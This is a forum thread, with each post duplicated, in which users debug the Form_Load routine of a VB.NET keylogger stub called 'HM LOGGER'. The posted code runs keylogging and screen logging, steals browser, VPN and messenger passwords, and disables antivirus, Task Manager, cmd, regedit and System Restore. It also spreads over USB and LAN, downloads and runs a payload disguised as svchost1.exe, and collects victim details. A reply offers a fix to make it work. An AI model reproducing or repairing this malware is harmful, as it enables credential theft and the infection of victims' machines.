[Coder-san]

What most probably happens in keyloggers or any builder-stub based applications is that an error occurs on execution and everything after that is ignored since people usually use Try catch without catching and displaying any exception.

Just comment the try catch in form load, and test accordingly.
For easier testing modify the stub temporarily and provide inputs to be taken from the builder so you can test it easily.

[Coder-san]

What most probably happens in keyloggers or any builder-stub based applications is that an error occurs on execution and everything after that is ignored since people usually use Try catch without catching and displaying any exception.

Just comment the try catch in form load, and test accordingly.
For easier testing modify the stub temporarily and provide inputs to be taken from the builder so you can test it easily.

[hilda89]

Done that no error but still the same thing the cpu usage for the file is 00 also

[hilda89]

Done that no error but still the same thing the cpu usage for the file is 00 also

[Coder-san]

Post your updated code of stub, only the Form Load is required and any sub concerned with it.

[Coder-san]

Post your updated code of stub, only the Form Load is required and any sub concerned with it.

[hilda89]

Code:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load settings = New String(55) {} Dim ForTheFile As String FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) ForTheFile = Space(LOF(1)) FileGet(1, ForTheFile) FileClose(1) settings = Split(ForTheFile, "@HM LOGGER@") FileClose(1) Try '------------------------Main------------------------- '-----------------KeyLogger-------------------------- If settings(11) = "True" Then Try CheckForIllegalCrossThreadCalls = False LoadLogger() Dim t As New Threading.Thread(AddressOf Write) t.Start() Catch ex As Exception End Try End If '-----------------KeyLogger-------------------------- '-----------------Screen Logger--------------------- If settings(12) = "True" Then Try Timer2.Enabled = True 'Enabled Screen Logger Timer Catch ex As Exception End Try End If Try Timer2.Interval = settings(13) * 60000 'Screen Logger Logs Interval Catch ex As Exception End Try '-----------------Screen Logger--------------------- '---------------------------------------------------- '------------------------Stealers------------------- If settings(14) = "True" Then 'Opera Stealer Try opera() Catch ex As Exception End Try End If If settings(15) = "True" Then 'Chrome Stealer Try chrome() Catch ex As Exception End Try End If If settings(16) = "True" Then 'IE Stealer Try iepv() Catch ex As Exception End Try End If If settings(17) = "True" Then 'Firefox Stealer Try firefox() Catch ex As Exception End Try End If If settings(18) = "True" Then 'Vpn Stealer Try vpnpass() Catch ex As Exception End Try End If If settings(19) = "True" Then 'Messenger Stealer Try mspass() Catch ex As Exception End Try End If If settings(20) = "True" Then 'CD Keys Stealer Try CD_KeysStealer() Catch ex As Exception End Try End If '------------------------Stealers------------------- '---------------------------------------------------- '--------------Virus Function---------------------- '--------------------Melt---------------------------- If settings(21) = True Then Try MeltMe() Catch ex As Exception End Try End If '--------------------Melt---------------------------- '--------------------Startup---------------------------- If settings(22) = "True" Then 'Add to Startup Try AddToStartup(Me.Text, Application.ExecutablePath) Catch ex As Exception End Try End If '--------------------Startup---------------------------- '---------------------------------------------------- '-------------------System Functions-------------------- '--------------------Antis---------------------------- If settings(23) = "True" Then 'Anti KeyScrambler Try ScramblerDesver() Catch ex As Exception End Try End If If settings(24) = "True" Then 'Anti WireShark Try SharkWireDesver() Catch ex As Exception End Try End If If settings(25) = "True" Then 'Anti Anubis Try DesverAnubis() Catch ex As Exception End Try End If If settings(26) = "True" Then 'Anti MalwareBytes Try DesverMalwarebytes() Catch ex As Exception End Try End If If settings(27) = "True" Then 'Anti Kaspersky Try DesverKaspersky() Catch ex As Exception End Try End If If settings(28) = "True" Then 'Anti Sandboxie Try AntiSandboxie() Catch ex As Exception End Try End If If settings(29) = "True" Then 'Anti Sandboxie Try AntiSandboxie() Catch ex As Exception End Try End If If settings(30) = "True" Then 'Anti Norman Try DesverNorman() Catch ex As Exception End Try End If If settings(31) = "True" Then 'Anti BitDefender Try DesverBitDefender() Catch ex As Exception End Try End If If settings(32) = "True" Then 'Anti Node32 Try DesverNOD32() Catch ex As Exception End Try End If If settings(33) = "True" Then 'Anti ZoneAlarm Try DesverZoneAlarm() Catch ex As Exception End Try End If If settings(34) = "True" Then 'Anti Comodo Try AntiComodo() Catch ex As Exception End Try End If If settings(35) = "True" Then 'Anti VirtualPC Try AntiVirtualPC() Catch ex As Exception End Try End If If settings(36) = "True" Then 'Anti Avast Try AntiAvast() Catch ex As Exception End Try End If If settings(37) = "True" Then 'Anti AVG Try AntiAVG() Catch ex As Exception End Try End If '--------------------Antis--------------------------- '--------------------Disablers------------------------ If settings(38) = "True" Then 'Disable Run Try Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(39) = "True" Then 'Disable Registry Try Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(40) = "true" Then 'Disable CMD Try Shell("REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(41) = "True" Then 'Disable RightClick Try Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(42) = "True" Then 'Disable TaskManager Try My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "1", Microsoft.Win32.RegistryValueKind.DWord) Catch ex As Exception End Try End If If settings(43) = "True" Then 'Disable SystemRestore Try My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord) Catch ex As Exception End Try End If If settings(44) = "True" Then 'Disable AV Websites Try Websites() Catch ex As Exception End Try End If '--------------------Disablers------------------------ '--------------------Deleters------------------------ If settings(45) = "True" Then 'Internet Explorer Cookies Deleter Dim Cookies As String = Environment.GetFolderPath(Environment.SpecialFolder.Cookies) If System.IO.Directory.Exists(Cookies) Then For Each File As String In My.Computer.FileSystem.GetFiles(Cookies) 'For each file in Special Folder Cookies Try My.Computer.FileSystem.DeleteFile(File) 'Delete each File in the Special Folder Cookies Catch End Try Next End If End If If settings(46) = "True" Then 'Google Chrome Cookies Deleter Try Chrome_Killer() 'This is used to Close Chrome incase it was Openned Catch ex As Exception End Try Try Dim ChromeCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Cookies" My.Computer.FileSystem.DeleteFile(ChromeCookies) 'Delete the file "Cookies" Catch ex As Exception End Try Try Dim ChromeCookies2 As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Extension Cookies" My.Computer.FileSystem.DeleteFile(ChromeCookies2) 'Delete the file "Extrension Cookies" Catch ex As Exception End Try End If If settings(47) = "True" Then 'FireFox Cookies Deleter Try Dim MozillaCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles" If System.IO.Directory.Exists(MozillaCookies) Then 'If the Location above exist then For Each mozillaCookiesProfiles As String In My.Computer.FileSystem.GetDirectories(MozillaCookies) 'For each file in Profiles For Each mozillaCookielikelikelikelikelike As String In My.Computer.FileSystem.GetFiles(mozillaCookiesProfiles) 'For each file in each file found in Profiles If mozillaCookielikelikelikelikelike.Contains("signon") Then 'If any of these files contain "signon" Try My.Computer.FileSystem.DeleteFile(mozillaCookielikelikelikelikelike) 'Then delete these whole files and not only "signon" Catch End Try End If Next Next End If Catch ex As Exception End Try End If '--------------------Deleters------------------------ '--------------------Spreaders------------------------ If settings(48) = "True" Then 'USB Spreader Try USBSpreader.RunWorkerAsync() Catch ex As Exception End Try End If If settings(49) = "True" Then 'Lan Spreader Try UniversalUser() CreateShare("C:\Program Settings", "Program Settings") Call Share() Catch ex As Exception End Try End If '--------------------Spreaders------------------------ '--------------------Downloader & Execute------------- If settings(50) = True Then Try My.Computer.Network.DownloadFile(settings(51), Path.GetTempPath & "svchost1.exe") 'Download the File and save it in "Temp" as "svchost1.exe" Process.Start(Path.GetTempPath & "svchost1.exe") 'Run the File Catch ex As Exception Process.Start(Path.GetTempPath & "svchost1.exe") 'If the File already Existed then just Run it End Try End If '--------------------Downloader & Execute------------- '--------------------Fake Message------------------- If settings(52) = "True" Then Try If settings(54) = "Error" Then MsgBox(settings(53), MessageBoxIcon.Error) End If Catch ex As Exception End Try Try If settings(54) = "settings" Then MsgBox(settings(53), MessageBoxIcon.Information) End If Catch ex As Exception End Try Try If settings(54) = "Question" Then MsgBox(settings(53), MessageBoxIcon.Question) End If Catch ex As Exception End Try Try If settings(54) = "Warning" Then MsgBox(settings(53), MessageBoxIcon.Warning) End If Catch ex As Exception End Try End If '--------------------Fake Message-------------------- VictimInfo = "###################HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & "Victim: " & Environment.UserName & vbNewLine & "Country: " & System.Globalization.RegionInfo.CurrentRegion.EnglishName & vbNewLine & "Computer name: " & My.Computer.Name & vbNewLine & "Total Physical Memory: " & My.Computer.Info.TotalPhysicalMemory & vbNewLine & "External IP: " & GetExternalIP() & vbNewLine & "Date : " & Date.Now & vbNewLine & vbNewLine & vbNewLine & vbNewLine & "################### HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine StealersBlank = "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & TextBox1.Text & TextBox2.Text & TextBox3.Text & TextBox4.Text & TextBox5.Text & TextBox6.Text & RichTextBox2.Text & "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine Try Timer1.Interval = settings(10) * 60000 'Change the Timer1 Interval... Each 1 second = 1000 MS (Timers works with MS) Timer1.Enabled = True 'Enabled the timer Catch ex As Exception End Try '---------------------------------------------------- Catch ex As Exception End Try End Sub

[hilda89]

Code:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load settings = New String(55) {} Dim ForTheFile As String FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) ForTheFile = Space(LOF(1)) FileGet(1, ForTheFile) FileClose(1) settings = Split(ForTheFile, "@HM LOGGER@") FileClose(1) Try '------------------------Main------------------------- '-----------------KeyLogger-------------------------- If settings(11) = "True" Then Try CheckForIllegalCrossThreadCalls = False LoadLogger() Dim t As New Threading.Thread(AddressOf Write) t.Start() Catch ex As Exception End Try End If '-----------------KeyLogger-------------------------- '-----------------Screen Logger--------------------- If settings(12) = "True" Then Try Timer2.Enabled = True 'Enabled Screen Logger Timer Catch ex As Exception End Try End If Try Timer2.Interval = settings(13) * 60000 'Screen Logger Logs Interval Catch ex As Exception End Try '-----------------Screen Logger--------------------- '---------------------------------------------------- '------------------------Stealers------------------- If settings(14) = "True" Then 'Opera Stealer Try opera() Catch ex As Exception End Try End If If settings(15) = "True" Then 'Chrome Stealer Try chrome() Catch ex As Exception End Try End If If settings(16) = "True" Then 'IE Stealer Try iepv() Catch ex As Exception End Try End If If settings(17) = "True" Then 'Firefox Stealer Try firefox() Catch ex As Exception End Try End If If settings(18) = "True" Then 'Vpn Stealer Try vpnpass() Catch ex As Exception End Try End If If settings(19) = "True" Then 'Messenger Stealer Try mspass() Catch ex As Exception End Try End If If settings(20) = "True" Then 'CD Keys Stealer Try CD_KeysStealer() Catch ex As Exception End Try End If '------------------------Stealers------------------- '---------------------------------------------------- '--------------Virus Function---------------------- '--------------------Melt---------------------------- If settings(21) = True Then Try MeltMe() Catch ex As Exception End Try End If '--------------------Melt---------------------------- '--------------------Startup---------------------------- If settings(22) = "True" Then 'Add to Startup Try AddToStartup(Me.Text, Application.ExecutablePath) Catch ex As Exception End Try End If '--------------------Startup---------------------------- '---------------------------------------------------- '-------------------System Functions-------------------- '--------------------Antis---------------------------- If settings(23) = "True" Then 'Anti KeyScrambler Try ScramblerDesver() Catch ex As Exception End Try End If If settings(24) = "True" Then 'Anti WireShark Try SharkWireDesver() Catch ex As Exception End Try End If If settings(25) = "True" Then 'Anti Anubis Try DesverAnubis() Catch ex As Exception End Try End If If settings(26) = "True" Then 'Anti MalwareBytes Try DesverMalwarebytes() Catch ex As Exception End Try End If If settings(27) = "True" Then 'Anti Kaspersky Try DesverKaspersky() Catch ex As Exception End Try End If If settings(28) = "True" Then 'Anti Sandboxie Try AntiSandboxie() Catch ex As Exception End Try End If If settings(29) = "True" Then 'Anti Sandboxie Try AntiSandboxie() Catch ex As Exception End Try End If If settings(30) = "True" Then 'Anti Norman Try DesverNorman() Catch ex As Exception End Try End If If settings(31) = "True" Then 'Anti BitDefender Try DesverBitDefender() Catch ex As Exception End Try End If If settings(32) = "True" Then 'Anti Node32 Try DesverNOD32() Catch ex As Exception End Try End If If settings(33) = "True" Then 'Anti ZoneAlarm Try DesverZoneAlarm() Catch ex As Exception End Try End If If settings(34) = "True" Then 'Anti Comodo Try AntiComodo() Catch ex As Exception End Try End If If settings(35) = "True" Then 'Anti VirtualPC Try AntiVirtualPC() Catch ex As Exception End Try End If If settings(36) = "True" Then 'Anti Avast Try AntiAvast() Catch ex As Exception End Try End If If settings(37) = "True" Then 'Anti AVG Try AntiAVG() Catch ex As Exception End Try End If '--------------------Antis--------------------------- '--------------------Disablers------------------------ If settings(38) = "True" Then 'Disable Run Try Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(39) = "True" Then 'Disable Registry Try Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(40) = "true" Then 'Disable CMD Try Shell("REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(41) = "True" Then 'Disable RightClick Try Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f", AppWinStyle.Hide) Catch ex As Exception End Try End If If settings(42) = "True" Then 'Disable TaskManager Try My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "1", Microsoft.Win32.RegistryValueKind.DWord) Catch ex As Exception End Try End If If settings(43) = "True" Then 'Disable SystemRestore Try My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord) Catch ex As Exception End Try End If If settings(44) = "True" Then 'Disable AV Websites Try Websites() Catch ex As Exception End Try End If '--------------------Disablers------------------------ '--------------------Deleters------------------------ If settings(45) = "True" Then 'Internet Explorer Cookies Deleter Dim Cookies As String = Environment.GetFolderPath(Environment.SpecialFolder.Cookies) If System.IO.Directory.Exists(Cookies) Then For Each File As String In My.Computer.FileSystem.GetFiles(Cookies) 'For each file in Special Folder Cookies Try My.Computer.FileSystem.DeleteFile(File) 'Delete each File in the Special Folder Cookies Catch End Try Next End If End If If settings(46) = "True" Then 'Google Chrome Cookies Deleter Try Chrome_Killer() 'This is used to Close Chrome incase it was Openned Catch ex As Exception End Try Try Dim ChromeCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Cookies" My.Computer.FileSystem.DeleteFile(ChromeCookies) 'Delete the file "Cookies" Catch ex As Exception End Try Try Dim ChromeCookies2 As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Extension Cookies" My.Computer.FileSystem.DeleteFile(ChromeCookies2) 'Delete the file "Extrension Cookies" Catch ex As Exception End Try End If If settings(47) = "True" Then 'FireFox Cookies Deleter Try Dim MozillaCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles" If System.IO.Directory.Exists(MozillaCookies) Then 'If the Location above exist then For Each mozillaCookiesProfiles As String In My.Computer.FileSystem.GetDirectories(MozillaCookies) 'For each file in Profiles For Each mozillaCookielikelikelikelikelike As String In My.Computer.FileSystem.GetFiles(mozillaCookiesProfiles) 'For each file in each file found in Profiles If mozillaCookielikelikelikelikelike.Contains("signon") Then 'If any of these files contain "signon" Try My.Computer.FileSystem.DeleteFile(mozillaCookielikelikelikelikelike) 'Then delete these whole files and not only "signon" Catch End Try End If Next Next End If Catch ex As Exception End Try End If '--------------------Deleters------------------------ '--------------------Spreaders------------------------ If settings(48) = "True" Then 'USB Spreader Try USBSpreader.RunWorkerAsync() Catch ex As Exception End Try End If If settings(49) = "True" Then 'Lan Spreader Try UniversalUser() CreateShare("C:\Program Settings", "Program Settings") Call Share() Catch ex As Exception End Try End If '--------------------Spreaders------------------------ '--------------------Downloader & Execute------------- If settings(50) = True Then Try My.Computer.Network.DownloadFile(settings(51), Path.GetTempPath & "svchost1.exe") 'Download the File and save it in "Temp" as "svchost1.exe" Process.Start(Path.GetTempPath & "svchost1.exe") 'Run the File Catch ex As Exception Process.Start(Path.GetTempPath & "svchost1.exe") 'If the File already Existed then just Run it End Try End If '--------------------Downloader & Execute------------- '--------------------Fake Message------------------- If settings(52) = "True" Then Try If settings(54) = "Error" Then MsgBox(settings(53), MessageBoxIcon.Error) End If Catch ex As Exception End Try Try If settings(54) = "settings" Then MsgBox(settings(53), MessageBoxIcon.Information) End If Catch ex As Exception End Try Try If settings(54) = "Question" Then MsgBox(settings(53), MessageBoxIcon.Question) End If Catch ex As Exception End Try Try If settings(54) = "Warning" Then MsgBox(settings(53), MessageBoxIcon.Warning) End If Catch ex As Exception End Try End If '--------------------Fake Message-------------------- VictimInfo = "###################HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & "Victim: " & Environment.UserName & vbNewLine & "Country: " & System.Globalization.RegionInfo.CurrentRegion.EnglishName & vbNewLine & "Computer name: " & My.Computer.Name & vbNewLine & "Total Physical Memory: " & My.Computer.Info.TotalPhysicalMemory & vbNewLine & "External IP: " & GetExternalIP() & vbNewLine & "Date : " & Date.Now & vbNewLine & vbNewLine & vbNewLine & vbNewLine & "################### HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine StealersBlank = "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & TextBox1.Text & TextBox2.Text & TextBox3.Text & TextBox4.Text & TextBox5.Text & TextBox6.Text & RichTextBox2.Text & "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine Try Timer1.Interval = settings(10) * 60000 'Change the Timer1 Interval... Each 1 second = 1000 MS (Timers works with MS) Timer1.Enabled = True 'Enabled the timer Catch ex As Exception End Try '---------------------------------------------------- Catch ex As Exception End Try End Sub

[Coder-san]

Just remove this first FileClose and it should work:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
settings = New String(55) {}
Dim ForTheFile As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
ForTheFile = Space(LOF(1))
FileGet(1, ForTheFile)
FileClose(1)
settings = Split(ForTheFile, "@HM LOGGER@")
FileClose(1)

[Coder-san]

Just remove this first FileClose and it should work:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
settings = New String(55) {}
Dim ForTheFile As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
ForTheFile = Space(LOF(1))
FileGet(1, ForTheFile)
FileClose(1)
settings = Split(ForTheFile, "@HM LOGGER@")
FileClose(1)